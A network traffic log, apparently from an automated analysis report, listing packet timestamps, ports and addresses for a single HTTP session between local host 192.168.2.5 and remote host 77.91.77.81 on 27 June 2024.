Jun 27, 2024 07:37:22.317662954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317717075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.317739964 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317750931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317751884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.317781925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.317801952 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.317936897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317946911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317955971 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317966938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317977905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.317979097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.317986965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318000078 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318031073 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318070889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318111897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318198919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318209887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318219900 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318233967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318243980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318244934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318254948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318264961 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318274021 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318274975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318295002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318315029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318674088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318684101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318694115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318703890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318713903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318716049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318722963 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318732977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.318751097 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.318780899 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347381115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347425938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347433090 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347439051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347465038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347482920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347537994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347548008 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347558975 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347579002 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347621918 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347695112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347704887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347735882 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347807884 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347817898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347816944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347829103 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347841024 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347896099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347896099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347896099 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.347935915 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347946882 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.347955942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348004103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348020077 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348053932 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348064899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348082066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348092079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348120928 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348206997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348223925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348233938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348246098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348247051 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348256111 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348259926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348267078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348280907 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348308086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348493099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348503113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348512888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348522902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348535061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348536968 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348555088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348587990 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348747015 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348757982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348767996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348778009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348786116 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348788977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348799944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348804951 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348810911 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.348834038 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348849058 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.348992109 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349004030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349014997 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349025965 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349030972 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349044085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349067926 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349132061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349143982 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349153042 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349164009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349174976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349174976 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349185944 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349195957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349200010 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349208117 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349231005 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349247932 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349603891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349613905 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349623919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349639893 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349654913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349672079 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349684000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349697113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349706888 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349718094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349723101 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349730968 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349739075 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349741936 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349751949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349751949 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.349776030 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.349803925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350236893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350246906 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350258112 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350267887 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350276947 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350277901 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350289106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350291014 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350300074 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350310087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350320101 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350325108 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350331068 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350342989 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350348949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350353956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350366116 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350370884 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350378036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350389957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350398064 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350400925 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350410938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350413084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350426912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350430965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350439072 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.350455999 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.350491047 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.351047039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351058006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351068020 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351073980 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351078987 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351083040 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.351084948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351090908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351103067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351113081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.351150036 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.351210117 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405219078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405229092 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405240059 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405275106 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405291080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405307055 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405316114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405325890 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405335903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405349016 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405365944 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405400991 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405436039 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405447006 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405478001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405498028 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405514956 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405523062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405548096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405565977 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405705929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405715942 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405725002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405735016 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405745029 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405752897 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405755043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405765057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405775070 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405783892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405785084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405795097 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.405802965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405821085 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.405843973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.406182051 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.406192064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.406202078 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.406212091 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.406222105 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.406232119 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.406240940 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.406240940 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.406270981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.406286001 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435353994 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435391903 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435401917 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435415983 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435434103 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435453892 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435534954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435545921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435556889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435566902 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435583115 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435620070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435753107 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435767889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435779095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435790062 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435811043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435837984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435900927 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435911894 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435921907 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.435942888 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.435971022 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436321974 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436373949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436414003 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436429977 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436441898 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436454058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436464071 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436491013 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436515093 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436609030 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436621904 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436634064 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436645031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436651945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436665058 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436671019 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436701059 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436729908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436741114 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436750889 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436762094 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436774015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436790943 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436814070 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436911106 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436920881 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436930895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436940908 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.436949015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.436974049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437134027 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437145948 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437156916 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437166929 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437175035 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437184095 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437197924 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437208891 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437216043 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437227011 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437246084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437261105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437280893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437401056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437417984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437427998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437453985 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437474012 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437489986 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437500954 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437510967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437521935 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437529087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437537909 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437565088 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437587023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437624931 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437635899 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437650919 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437659979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437681913 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437704086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437714100 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437725067 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437735081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437747002 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437757015 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437762976 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437773943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.437787056 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.437803984 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438071012 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438081026 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438091040 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438097000 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438107967 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438117027 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438126087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438133955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438142061 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438153028 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438163042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438180923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 27, 2024 07:37:22.438190937 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438204050 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 27, 2024 07:37:22.438209057 CEST	49706	80	192.168.2.5	77.91.77.81
